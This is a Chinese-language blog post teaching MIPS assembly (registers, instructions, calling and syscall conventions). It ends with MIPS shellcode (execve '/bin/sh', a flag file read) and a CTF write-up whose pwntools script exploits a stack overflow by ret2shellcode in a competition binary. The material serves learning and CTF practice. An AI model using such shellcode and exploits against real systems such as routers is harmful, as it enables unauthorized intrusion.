sysNow's blog

mips汇编学习

2025-11-18
CTF
异架构
最后更新:2025-12-14
11分钟
2049字

mips汇编学习

参考文献

【十分钟教会你汇编】MIPS编程入门(妈妈说标题要高大上,才会有人看>_<!)

MIPS汇编学习

MIPS 指令系统

MIPS 指令集 Shellcode 编写入门

路由器漏洞复现终极奥义——基于MIPS的shellcode编写

数据类型

在mips中数据类型与amd64不同,如下:

名称大小备注
byte1 字节8 bit
halfword2 字节16 bit
word4 字节32 bit,正好是一个寄存器宽度
doubleword8 字节64 bit(MIPS64 才常用)

寄存器

mips下一共有32个通用寄存器,寄存器表示可以有两种方式,一种为寄存器编号,另一种是寄存器名

Register Number寄存器编号Alternative Name寄存器名Description寄存器用途
0zerothe value 0
1at(assembler temporary) 汇编保留寄存器
2-3v0 - v1(values) 存储表达式或者是函数的返回值
4-7a0 - a3(arguments) 存储子程序的前4个参数
8-15t0 - t7(temporaries) 临时变量
16-23s0 - s7(saved values) 需要被调用时保存
24-25t8 - t9(temporaries) 属性同t0~t7
26-27k0 - k1(Kernel Reserved) 保留给内核使用
28gp(global pointer) 全局指针寄存器
29sp(stack pointer) 栈指针,指向的是栈顶
30s8/fp(Saved/Frame Pointer) 帧指针
31ra(return address) 返回地址

访问寄存器或内存

load

指令加载大小扩展方式典型用途
lb1 字节带符号扩展char、8-bit signed
lbu1 字节无符号扩展unsigned char、读取字节流
lh2 字节带符号扩展short、16-bit signed
lhu2 字节无符号扩展unsigned short
lw4 字节直接装载int、指针、地址
lwl / lwr非对齐字读取从左/右对齐加载读取非对齐内存
ld(MIPS64)8 字节直接装载long long、64-bit pointer
1
lw register_destination, RAM_source

从内存中复制RAM_source的内容到对应的寄存器中,lw即复制四字节

1
lb register_destination, RAM_source

从内存中复制RAM_source的内容到对应的寄存器中,lb即复制一字节

store

指令写入大小常见用途
sb1 字节写 char、字节流
sh2 字节写 short
sw4 字节写 int、指针、结构体字段
swl非对齐左写写非对齐地址
swr非对齐右写写非对齐地址
sd(MIPS64)8 字节写 64-bit 数据
1
sw register_source, RAM_destination

将指定寄存器中的数据写入到指定的内存中,sw即写入四字节

1
sb register_source, RAM_destination

将指定寄存器中的数据写入到指定的内存中,sb即写入一字节

load immediate

1
li register_destination, value

即直接将立即数放入指定的寄存器中

注意,这个是伪指令,由编译器自动转换为机器指令

直接与间接寻址

load address

1
la $t0, var1

将var1的地址赋值给t0寄存器

indirect addressing

1
lw $t2, ($t0)

从t0寄存器指向的地址中取出四字节写入t2寄存器中

1
sw $t2, ($t0)

将t2寄存器的内容写入t0寄存器所存储的地址中

控制流

branch

1
b target # unconditional branch to program label target
2
beq $t0,$t1,target # branch to target if $t0 = $t1
3
blt $t0,$t1,target # branch to target if $t0 < $t1
4
ble $t0,$t1,target # branch to target if $t0 <= $t1
5
bgt $t0,$t1,target # branch to target if $t0 > $t1
6
bge $t0,$t1,target # branch to target if $t0 >= $t1
7
bne $t0,$t1,target # branch to target if $t0 <> $t1

jmp

1
j target      # unconditional jump to program label target
2
jr $t3 # jump to address contained in $t3 ("jump register")

call functions

1
jal sub_label # "jump and link"
2
jr $ra # "jump register"

先jal调用,最后通过jr返回

运算指令

算数指令

指令格式说明是否检测溢出示例
addadd $d,$s,$t$d = $s + $tadd $t0,$t1,$t2
adduaddu $d,$s,$t无符号加法(不检查溢出)addu $t0,$t1,$t2
addiaddi $t,$s,imm立即数加法addi $t0,$t1,5
addiuaddiu $t,$s,imm无符号立即数加法addiu $t0,$t1,5
subsub $d,$s,$t减法(检查溢出)sub $t0,$t1,$t2
subusubu $d,$s,$t无符号减法subu $t0,$t1,$t2

逻辑指令

指令格式说明示例
andand $d,$s,$t按位与and $t0,$t1,$t2
andiandi $t,$s,imm与立即数andi $t0,$t1,0xFF
oror $d,$s,$t按位或or $t0,$t1,$t2
oriori $t,$s,imm或立即数ori $t0,$t1,10
xorxor $d,$s,$t按位异或xor $t0,$t1,$t2
xorixori $t,$s,imm异或立即数xori $t0,$t1,7
nornor $d,$s,$t或非(not or)nor $t0,$zero,$zero → 得到全 1

移位指令

指令格式说明示例
sllsll $d,$t,shamt左移(逻辑)sll $t1,$t0,2
srlsrl $d,$t,shamt右移(逻辑,补 0)srl $t1,$t0,1
srasra $d,$t,shamt算术右移(补符号位)sra $t1,$t0,1
sllvsllv $d,$t,$s可变左移(shift amount 来自寄存器)
srlvsrlv $d,$t,$s可变逻辑右移
sravsrav $d,$t,$s可变算术右移

比较指令

指令格式说明示例
sltslt $d,$s,$t若 $s < $t 则 $d=1,否则 0(有符号)slt $t2,$t0,$t1
sltusltu $d,$s,$t无符号比较sltu $t2,$t0,$t1
sltislti $t,$s,imm立即数比较(有符号)
sltiusltiu $t,$s,imm无符号立即数比较

乘法 / 除法

指令格式说明
multmult $s,$t有符号 32×32 → 64 位到 HI/LO
multumultu $s,$t无符号乘法
divdiv $s,$t有符号除法:HI=余数,LO=商
divudivu $s,$t无符号除法
mflomflo $d取 LO(乘法结果的低 32 位 / 商)
mfhimfhi $d取 HI(高 32 位 / 余数)
mtlomtlo $s写 LO
mthimthi $s写 HI

常见伪指令

伪指令实际效果展开示例
li加载立即数li $t0, 100lui+ori
move寄存器复制addu $t0,$t1,$zero
not取反nor $t0,$t1,$zero
neg取负数subu $t0,$zero,$t1

叶子函数与非叶子函数

mips架构中有叶子函数和非叶子函数的区别,叶子函数就是此函数自身不再调用别的函数,非叶子函数就是此函数自身调用别的函数。

叶子函数和非叶子函数在存放返回地址的时候,存在差异。叶子函数只把返回地址保存在ra寄存其中,结束函数调用的时候,通过jr $ra指令返回即可。非叶子函数把在函数调用初始把ra寄存器中的返回地址保存在栈中,然后结束函数调用的时候将栈中保存的返回地址加载到ra寄存器中,再通过jr $ra指令返回。

default

default

调用约定与系统调用

mips调用函数时,前四个参数存储在a0 - a3中,剩余的参数存储在栈中

default

mips的系统调用表在/usr/mips-linux-gnu/include/asm/unistd_o32.h

default

__NR_Linux的值是4000,其定义在/usr/mips-linux-gnu/include/asm/unistd.h

default

在mips的系统调用中,需要在v0中传递服务编号/代号,然后将参数按顺序放在a0-a3中,若超过四个参数则从第五个参数开始可放在栈中,随后调用syscall,返回值存储在v0中。根据这个系统调用规则我们可以写出shellcode

shellcode

exit(0)

1
li $v0, 4001
2
li $a0, 0
3
syscall

execve(“/bin/sh”, 0, 0)

1
li $t7, 0x2f62696e
2
sw $t7, ($sp)
3
li $t7, 0x2f736800
4
sw $t7, 4($sp)
5
6
move $a0, $sp
7
move $a1, $zero
8
move $a2, $zero
9
li $v0, 4011
10
syscall

open + read + write

1
li $t7, 0x2f666c61
2
sw $t7, ($sp)
3
li $t7, 0x67000000
4
sw $t7, 4($sp)
5
6
move $a0, $sp
7
move $a1, $zero
8
li $v0, 4005
9
syscall
10
11
move $a0, $v0
12
move $a1, $sp
13
li $a2, 0x100
14
li $v0, 4003
15
syscall
6 collapsed lines
16
17
li $a0, 1
18
move $a1, $sp
19
li $a2, 0x100
20
li $v0, 4004
21
syscall

来一道真题

2025年第八届浙江省大学生网络与信息安全竞赛决赛 pwn1 mips_pwn_challenge

default

mips架构,大端序,静态链接

default

没开PIE,没开NX所以堆栈可执行

default

IDA打开,很明显程序能够输出一个栈地址且存在一个栈溢出,因此考虑打ret2shellcode

我们按照正常调试思路去查看输入数据在栈中的位置,以及观察数据需要覆盖到哪一个地址

default

default

数据在当前栈中的位置是0x407ffa00,同时我们可以看到这条指令lw $ra, 0x44($sp),所以返回地址存储在sp+0x44即0x407ffa2c处,所以要覆盖0x2c字节就能修改返回地址

接下来就可以注入shellcode,并通过泄露的栈地址计算出shellcode开始的位置即可,需要在一次输入中做到注入shellcode + 挟持返回地址为shellcode地址的操作

若我们直接在返回地址之后注入shellcode,通过动态调试可以知道,注入的地址为已泄露地址+0x30,因此输入payload可以这样写

default

1
from pwn import *
2
3
context(os="linux",arch="mips",log_level="debug", endian='big')
4
5
# io = process(["qemu-mips", "-g", "1234", "./pwn"])
6
io = process(["qemu-mips", "./pwn"])
7
8
stop = pause
9
S = pause
10
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
11
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
12
s = io.send
13
sl = io.sendline
14
sla = io.sendlineafter
15
sa = io.sendafter
36 collapsed lines
16
slt = io.sendlinethen
17
st = io.sendthen
18
r = io.recv
19
rn = io.recvn
20
rr = io.recvregex
21
ru = io.recvuntil
22
ra = io.recvall
23
rl = io.recvline
24
rs = io.recvlines
25
rls = io.recvline_startswith
26
rle = io.recvline_endswith
27
rlc = io.recvline_contains
28
ia = io.interactive
29
cr = io.can_recv
30
31
shell = """
32
li $t7, 0x2f62696e
33
sw $t7, ($sp)
34
li $t7, 0x2f736800
35
sw $t7, 4($sp)
36
37
move $a0, $sp
38
move $a1, $zero
39
move $a2, $zero
40
li $v0, 4011
41
syscall
42
"""
43
shell = asm(shell)
44
ru(b"input number of magic")
45
sl(b"255")
46
ru(b"0x")
47
stack = int(r(8), 16)
48
pause()
49
s(b"A"*0x2c + p32(stack+0x30) + shell)
50
51
ia()
本文标题:mips汇编学习
文章作者:sysNow
发布时间:2025-11-18